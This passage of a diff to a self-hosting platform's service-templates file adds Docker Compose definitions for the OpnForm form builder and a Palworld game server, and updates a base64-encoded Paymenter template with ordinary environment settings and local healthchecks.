  MAIL_MAILER: '${MAIL_MAILER:-log}'
  MAIL_HOST: '${MAIL_HOST}'
  MAIL_PORT: '${MAIL_PORT}'
  MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
  MAIL_PASSWORD: '${MAIL_PASSWORD}'
  MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
  MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
  MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
  AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
  AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
  AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
  AWS_BUCKET: '${AWS_BUCKET}'
  OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
  TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
  TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
  REDIS_HOST: redis
  REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
  DB_HOST: postgresql
  DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
  DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
  DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
  DB_CONNECTION: pgsql
  PHP_MEMORY_LIMIT: 1G
  PHP_MAX_EXECUTION_TIME: '600'
  PHP_UPLOAD_MAX_FILESIZE: 64M
  PHP_POST_MAX_SIZE: 64M
services:
  opnform-api:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_FQDN_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
      JWT_TTL: '${JWT_TTL:-1440}'
      JWT_SECRET: '${SERVICE_PASSWORD_JWTSECRET}'
      JWT_SKIP_IP_UA_VALIDATION: '${JWT_SKIP_IP_UA_VALIDATION:-true}'
      H_CAPTCHA_SITE_KEY: '${H_CAPTCHA_SITE_KEY}'
      H_CAPTCHA_SECRET_KEY: '${H_CAPTCHA_SECRET_KEY}'
      RE_CAPTCHA_SITE_KEY: '${RE_CAPTCHA_SITE_KEY}'
      RE_CAPTCHA_SECRET_KEY: '${RE_CAPTCHA_SECRET_KEY}'
      SHOW_OFFICIAL_TEMPLATES: '${SHOW_OFFICIAL_TEMPLATES:-true}'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'php /usr/share/nginx/html/artisan about || exit 1'
      interval: 30s
      timeout: 15s
      retries: 3
      start_period: 60s
  api-worker:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_FQDN_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
    command:
      - php
      - artisan
      - 'queue:work'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - "pgrep -f 'php artisan queue:work' > /dev/null || exit 1"
      interval: 60s
      timeout: 10s
      retries: 3
      start_period: 30s
  api-scheduler:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_FQDN_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
    command:
      - php
      - artisan
      - 'schedule:work'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'php /usr/share/nginx/html/artisan app:scheduler-status --mode=check --max-minutes=3 || exit 1'
      interval: 60s
      timeout: 30s
      retries: 3
      start_period: 70s
  opnform-ui:
    image: 'jhumanj/opnform-client:1.12.1'
    environment:
      - NUXT_PUBLIC_APP_URL=/
      - NUXT_PUBLIC_API_BASE=/api
      - 'NUXT_PRIVATE_API_BASE=http://nginx/api'
      - NUXT_PUBLIC_ENV=production
      - 'NUXT_PUBLIC_H_CAPTCHA_SITE_KEY=${H_CAPTCHA_SITE_KEY}'
      - 'NUXT_PUBLIC_RE_CAPTCHA_SITE_KEY=${RE_CAPTCHA_SITE_KEY}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'wget --spider -q http://opnform-ui:3000/login || exit 1'
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 45s
    depends_on:
      opnform-api:
        condition: service_healthy
  postgresql:
    image: 'postgres:16'
    volumes:
      - 'opnform-postgresql-data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRESQL}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}'
      - 'POSTGRES_DB=${POSTGRESQL_DATABASE:-opnform}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 5s
      timeout: 20s
      retries: 10
  redis:
    image: 'redis:7'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_64_REDIS}'
    volumes:
      - 'redis-data:/data'
    command:
      - redis-server
      - '--requirepass'
      - '${SERVICE_PASSWORD_64_REDIS}'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_64_REDIS}'
        - PING
      interval: 10s
      timeout: 30s
      retries: 3
  nginx:
    image: 'nginx:1.29.2'
    environment:
      - SERVICE_FQDN_NGINX
    volumes:
      -
        type: bind
        source: ./nginx/nginx.conf
        target: /etc/nginx/conf.d/default.conf
        read_only: true
        content: "map $original_uri $api_uri {\n    ~^/api(/.*$) $1;\n    default $original_uri;\n}\n\nserver {\n    listen 80 default_server;\n    root /usr/share/nginx/html/public;\n\n    access_log /dev/stdout;\n    error_log /dev/stderr error;\n\n    index index.html index.htm index.php;\n\n    location / {\n        proxy_http_version 1.1;\n        proxy_pass http://opnform-ui:3000;\n        proxy_set_header X-Real-IP $remote_addr;\n        proxy_set_header X-Forwarded-Host $host;\n        proxy_set_header X-Forwarded-Port $server_port;\n        proxy_set_header Upgrade $http_upgrade;\n        proxy_set_header Connection \"Upgrade\";\n    }\n\n    location ~/(api|open|local\\/temp|forms\\/assets)/ {\n        set $original_uri $uri;\n        try_files $uri $uri/ /index.php$is_args$args;\n    }\n\n    location ~ \\.php$ {\n        fastcgi_split_path_info ^(.+\\.php)(/.+)$;\n        fastcgi_pass opnform-api:9000;\n        fastcgi_index index.php;\n        include fastcgi_params;\n        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/public/index.php;\n        fastcgi_param REQUEST_URI $api_uri;\n    }\n}"
    depends_on:
      - opnform-api
      - opnform-ui
    healthcheck:
      test:
        - CMD
        - nginx
        - '-t'
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
",
+        "tags": [
+            "opnform",
+            "form",
+            "survey",
+            "cloud",
+            "open-source",
+            "self-hosted",
+            "docker",
+            "no-code",
+            "embeddable"
+        ],
+        "category": null,
+        "logo": "svg/opnform.svg",
+        "minversion": "0.0.0",
+        "port": "80"
+    },
     "orangehrm": {
         "documentation": "https://starterhelp.orangehrm.com/hc/en-us?utm_source=coolify.io",
         "slogan": "OrangeHRM open source HR management software.",
@@ -3145,6 +3179,15 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "palworld": {
+        "documentation": "https://coolify.io/docs",
+        "slogan": "Palworld.yaml",
+        "compose": "services:
  palworld:
    image: 'thijsvanloef/palworld-server-docker:v1.4.6'
    stop_grace_period: 30s
    ports:
      - '8211:8211/udp'
      - '27015:27015/udp'
    volumes:
      - 'palworld-data:/palworld/'
    environment:
      - 'TZ=${TZ:?UTC}'
      - 'PUID=${PUID:?1000}'
      - 'PGID=${PGID:?1000}'
      - 'MULTITHREADING=${MULTITHREADING:?false}'
      - 'MAX_PLAYERS=${PLAYERS:?16}'
      - 'SERVER_NAME=${SERVER_NAME:?palworld-server-docker by Thijs van Loef via Coolify}'
      - 'SERVER_DESCRIPTION=${SERVER_DESCRIPTION:?palworld-server-docker by Thijs van Loef via Coolify}'
      - 'SERVER_PASSWORD=${SERVER_PASSWORD:?worldofpals}'
      - 'ADMIN_PASSWORD=${ADMIN_PASSWORD:-adminPassword}'
      - 'COMMUNITY=${COMMUNITY:?false}'
      - 'PUBLIC_IP=${PUBLIC_IP:-}'
      - 'PUBLIC_PORT=${PUBLIC_PORT:?8211}'
      - 'PORT=${PORT:?8211}'
      - 'QUERY_PORT=${QUERY_PORT:?27015}'
      - 'UPDATE_ON_BOOT=${UPDATE_ON_BOOT:?true}'
      - 'RCON_ENABLED=${RCON_ENABLED:?true}'
      - 'RCON_PORT=${RCON_PORT:?25575}'
      - 'BACKUP_ENABLED=${BACKUP_ENABLED:?true}'
      - 'DELETE_OLD_BACKUPS=${DELETE_OLD_BACKUPS:?false}'
      - 'OLD_BACKUP_DAYS=${OLD_BACKUP_DAYS:?30}'
      - 'BACKUP_CRON_EXPRESSION=${BACKUP_CRON_EXPRESSION:?0 0 * * *}'
      - 'AUTO_UPDATE_ENABLED=${AUTO_UPDATE_ENABLED:?false}'
      - 'AUTO_UPDATE_CRON_EXPRESSION=${AUTO_UPDATE_CRON_EXPRESSION:?0 * * * *}'
      - 'AUTO_UPDATE_WARN_MINUTES=${AUTO_UPDATE_WARN_MINUTES:?30}'
      - 'AUTO_REBOOT_ENABLED=${AUTO_REBOOT_ENABLED:?false}'
      - 'AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE=${AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE:?false}'
      - 'AUTO_REBOOT_WARN_MINUTES=${AUTO_REBOOT_WARN_MINUTES:?5}'
      - 'AUTO_REBOOT_CRON_EXPRESSION=${AUTO_REBOOT_CRON_EXPRESSION:?0 0 * * *}'
      - 'AUTO_PAUSE_ENABLED=${AUTO_PAUSE_ENABLED:?false}'
      - 'AUTO_PAUSE_TIMEOUT_EST=${AUTO_PAUSE_TIMEOUT_EST:?180}'
      - 'AUTO_PAUSE_LOG=${AUTO_PAUSE_LOG:?true}'
      - 'AUTO_PAUSE_DEBUG=${AUTO_PAUSE_DEBUG:?false}'
      - 'ENABLE_PLAYER_LOGGING=${ENABLE_PLAYER_LOGGING:?true}'
      - 'PLAYER_LOGGING_POLL_PERIOD=${PLAYER_LOGGING_POLL_PERIOD:?5}'
      - 'DIFFICULTY=${DIFFICULTY:?None}'
      - 'RANDOMIZER_TYPE=${RANDOMIZER_TYPE:-}'
      - 'RANDOMIZER_SEED=${RANDOMIZER_SEED:?none}'
      - 'DAYTIME_SPEEDRATE=${DAYTIME_SPEEDRATE:?1.000000}'
      - 'NIGHTTIME_SPEEDRATE=${NIGHTTIME_SPEEDRATE:?1.000000}'
      - 'EXP_RATE=${EXP_RATE:?1.000000}'
      - 'PAL_CAPTURE_RATE=${PAL_CAPTURE_RATE:?1.000000}'
      - 'PAL_SPAWN_NUM_RATE=${PAL_SPAWN_NUM_RATE:?1.000000}'
      - 'PAL_DAMAGE_RATE_ATTACK=${PAL_DAMAGE_RATE_ATTACK:?1.000000}'
      - 'PAL_DAMAGE_RATE_DEFENSE=${PAL_DAMAGE_RATE_DEFENSE:?1.000000}'
      - 'PLAYER_DAMAGE_RATE_ATTACK=${PLAYER_DAMAGE_RATE_ATTACK:?1.000000}'
      - 'PLAYER_DAMAGE_RATE_DEFENSE=${PLAYER_DAMAGE_RATE_DEFENSE:?1.000000}'
      - 'PLAYER_STOMACH_DECREASE_RATE=${PLAYER_STOMACH_DECREASE_RATE:?1.000000}'
      - 'PLAYER_STAMINA_DECREASE_RATE=${PLAYER_STAMINA_DECREASE_RATE:?1.000000}'
      - 'PLAYER_AUTO_HP_REGEN_RATE=${PLAYER_AUTO_HP_REGEN_RATE:?1.000000}'
      - 'PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP=${PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
      - 'PAL_STOMACH_DECREASE_RATE=${PAL_STOMACH_DECREASE_RATE:?1.000000}'
      - 'PAL_STAMINA_DECREASE_RATE=${PAL_STAMINA_DECREASE_RATE:?1.000000}'
      - 'PAL_AUTO_HP_REGEN_RATE=${PAL_AUTO_HP_REGEN_RATE:?1.000000}'
      - 'PAL_AUTO_HP_REGEN_RATE_IN_SLEEP=${PAL_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
      - 'BUILD_OBJECT_HP_RATE=${BUILD_OBJECT_HP_RATE:?1.000000}'
      - 'BUILD_OBJECT_DAMAGE_RATE=${BUILD_OBJECT_DAMAGE_RATE:?1.000000}'
      - 'BUILD_OBJECT_DETERIORATION_DAMAGE_RATE=${BUILD_OBJECT_DETERIORATION_DAMAGE_RATE:?1.000000}'
      - 'COLLECTION_DROP_RATE=${COLLECTION_DROP_RATE:?1.000000}'
      - 'COLLECTION_OBJECT_HP_RATE=${COLLECTION_OBJECT_HP_RATE:?1.000000}'
      - 'COLLECTION_OBJECT_RESPAWN_SPEED_RATE=${COLLECTION_OBJECT_RESPAWN_SPEED_RATE:?1.000000}'
      - 'ENEMY_DROP_ITEM_RATE=${ENEMY_DROP_ITEM_RATE:?1.000000}'
      - 'DEATH_PENALTY=${DEATH_PENALTY:?All}'
      - 'ENABLE_PLAYER_TO_PLAYER_DAMAGE=${ENABLE_PLAYER_TO_PLAYER_DAMAGE:?False}'
      - 'ENABLE_FRIENDLY_FIRE=${ENABLE_FRIENDLY_FIRE:?False}'
      - 'ENABLE_INVADER_ENEMY=${ENABLE_INVADER_ENEMY:?True}'
      - 'ACTIVE_UNKO=${ACTIVE_UNKO:?False}'
      - 'ENABLE_AIM_ASSIST_PAD=${ENABLE_AIM_ASSIST_PAD:?True}'
      - 'ENABLE_AIM_ASSIST_KEYBOARD=${ENABLE_AIM_ASSIST_KEYBOARD:?False}'
      - 'DROP_ITEM_MAX_NUM=${DROP_ITEM_MAX_NUM:?3000}'
      - 'DROP_ITEM_MAX_NUM_UNKO=${DROP_ITEM_MAX_NUM_UNKO:?100}'
      - 'BASE_CAMP_MAX_NUM=${BASE_CAMP_MAX_NUM:?128}'
      - 'BASE_CAMP_WORKER_MAX_NUM=${BASE_CAMP_WORKER_MAX_NUM:?15}'
      - 'DROP_ITEM_ALIVE_MAX_HOURS=${DROP_ITEM_ALIVE_MAX_HOURS:?1.000000}'
      - 'AUTO_RESET_GUILD_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_NO_ONLINE_PLAYERS:?False}'
      - 'AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS:?72.000000}'
      - 'GUILD_PLAYER_MAX_NUM=${GUILD_PLAYER_MAX_NUM:?20}'
      - 'BASE_CAMP_MAX_NUM_IN_GUILD=${BASE_CAMP_MAX_NUM_IN_GUILD:?4}'
      - 'PAL_EGG_DEFAULT_HATCHING_TIME=${PAL_EGG_DEFAULT_HATCHING_TIME:?72.000000}'
      - 'WORK_SPEED_RATE=${WORK_SPEED_RATE:?1.000000}'
      - 'AUTO_SAVE_SPAN=${AUTO_SAVE_SPAN:?30.000000}'
      - 'IS_MULTIPLAY=${IS_MULTIPLAY:?False}'
      - 'IS_PVP=${IS_PVP:?False}'
      - 'HARDCORE=${HARDCORE:?False}'
      - 'PAL_LOST=${PAL_LOST:?False}'
      - 'CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP=${CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP:?False}'
      - 'ENABLE_NON_LOGIN_PENALTY=${ENABLE_NON_LOGIN_PENALTY:?True}'
      - 'ENABLE_FAST_TRAVEL=${ENABLE_FAST_TRAVEL:?True}'
      - 'IS_START_LOCATION_SELECT_BY_MAP=${IS_START_LOCATION_SELECT_BY_MAP:?True}'
      - 'EXIST_PLAYER_AFTER_LOGOUT=${EXIST_PLAYER_AFTER_LOGOUT:?False}'
      - 'ENABLE_DEFENSE_OTHER_GUILD_PLAYER=${ENABLE_DEFENSE_OTHER_GUILD_PLAYER:?False}'
      - 'INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX=${INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX:?False}'
      - 'BUILD_AREA_LIMIT=${BUILD_AREA_LIMIT:?False}'
      - 'ITEM_WEIGHT_RATE=${ITEM_WEIGHT_RATE:?1.000000}'
      - 'COOP_PLAYER_MAX_NUM=${COOP_PLAYER_MAX_NUM:?4}'
      - 'REGION=${REGION:-}'
      - 'USEAUTH=${USEAUTH:?True}'
      - 'BAN_LIST_URL=${BAN_LIST_URL:?https://api.palworldgame.com/api/banlist.txt}'
      - 'REST_API_ENABLED=${REST_API_ENABLED:?False}'
      - 'REST_API_PORT=${REST_API_PORT:?8212}'
      - 'SHOW_PLAYER_LIST=${SHOW_PLAYER_LIST:?True}'
      - 'ENABLE_PREDATOR_BOSS_PAL=${ENABLE_PREDATOR_BOSS_PAL:?True}'
      - 'MAX_BUILDING_LIMIT_NUM=${MAX_BUILDING_LIMIT_NUM:?0}'
      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE=${SERVER_REPLICATE_PAWN_CULL_DISTANCE:?15000.000000}'
      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP=${SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP:?5000.000000}'
      - 'CROSSPLAY_PLATFORMS=${CROSSPLAY_PLATFORMS:?(Steam,Xbox,PS5,Mac)}'
      - 'USE_BACKUP_SAVE_DATA=${USE_BACKUP_SAVE_DATA:?True}'
      - 'USE_DEPOT_DOWNLOADER=${USE_DEPOT_DOWNLOADER:?False}'
      - 'INSTALL_BETA_INSIDER=${INSTALL_BETA_INSIDER:?False}'
      - 'ALLOW_GLOBAL_PALBOX_EXPORT=${ALLOW_GLOBAL_PALBOX_EXPORT:?True}'
      - 'ALLOW_GLOBAL_PALBOX_IMPORT=${ALLOW_GLOBAL_PALBOX_IMPORT:?False}'
      - 'EQUIPMENT_DURABILITY_DAMAGE_RATE=${EQUIPMENT_DURABILITY_DAMAGE_RATE:?1.000000}'
      - 'ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL=${ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL:?1.000000}'
      - 'BOX64_DYNAREC_STRONGMEM=${BOX64_DYNAREC_STRONGMEM:-}'
      - 'BOX64_DYNAREC_BIGBLOCK=${BOX64_DYNAREC_BIGBLOCK:-}'
      - 'BOX64_DYNAREC_SAFEFLAGS=${BOX64_DYNAREC_SAFEFLAGS:-}'
      - 'BOX64_DYNAREC_FASTROUND=${BOX64_DYNAREC_FASTROUND:-}'
      - 'BOX64_DYNAREC_FASTNAN=${BOX64_DYNAREC_FASTNAN:-}'
      - 'BOX64_DYNAREC_X87DOUBLE=${BOX64_DYNAREC_X87DOUBLE:-}'
",
+        "tags": null,
+        "category": null,
+        "logo": "svgs/default.webp",
+        "minversion": "0.0.0"
+    },
     "paperless": {
         "documentation": "https://docs.paperless-ngx.com/configuration/?utm_source=coolify.io",
         "slogan": "Paperless-ngx is a community-supported open-source document management system that transforms your physical documents into a searchable online archive so you can keep, well, less paper.",
@@ -3173,7 +3216,7 @@
     "paymenter": {
         "documentation": "https://paymenter.org/docs/guides/docker?utm_source=coolify.io",
         "slogan": "Open-Source Billing, Built for Hosting",
-        "compose": "c2VydmljZXM6CiAgcGF5bWVudGVyOgogICAgaW1hZ2U6ICdnaGNyLmlvL3BheW1lbnRlci9wYXltZW50ZXI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnYXBwX2xvZ3M6L2FwcC9zdG9yYWdlL2xvZ3MnCiAgICAgIC0gJ2FwcF9wdWJsaWM6L2FwcC9zdG9yYWdlL3B1YmxpYycKICAgIGVudmlyb25tZW50OgogICAgICBTRVJWSUNFX0ZRRE5fUEFZTUVOVEVSOiAnJHtTRVJWSUNFX0ZRRE5fUEFZTUVOVEVSXzgwfScKICAgICAgREJfREFUQUJBU0U6ICcke01ZU1FMX0RBVEFCQVNFOi1wYXltZW50ZXItZGJ9JwogICAgICBEQl9QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIERCX1VTRVJOQU1FOiAnJHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICBBUFBfRU5WOiBwcm9kdWN0aW9uCiAgICAgIENBQ0hFX1NUT1JFOiByZWRpcwogICAgICBTRVNTSU9OX0RSSVZFUjogcmVkaXMKICAgICAgUVVFVUVfQ09OTkVDVElPTjogcmVkaXMKICAgICAgUkVESVNfSE9TVDogcmVkaXMKICAgICAgUkVESVNfVVNFUk5BTUU6IGRlZmF1bHQKICAgICAgUkVESVNfUEFTU1dPUkQ6ICcke1NFUlZJQ0VfUEFTU1dPUkRfNjRfUkVESVN9JwogICAgICBEQl9DT05ORUNUSU9OOiBtYXJpYWRiCiAgICAgIERCX0hPU1Q6IG1hcmlhZGIKICAgICAgREJfUE9SVDogMzMwNgogICAgICBBUFBfS0VZOiAnJHtTRVJWSUNFX0JBU0U2NF9LRVl9JwogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdjdXJsIC1zZiBodHRwOi8vbG9jYWxob3N0OjgwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxcwogICAgICByZXRyaWVzOiAzCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3BheW1lbnRlcl9tYXJpYWRiX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotcGF5bWVudGVyLWRifScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6YWxwaW5lJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwo=",
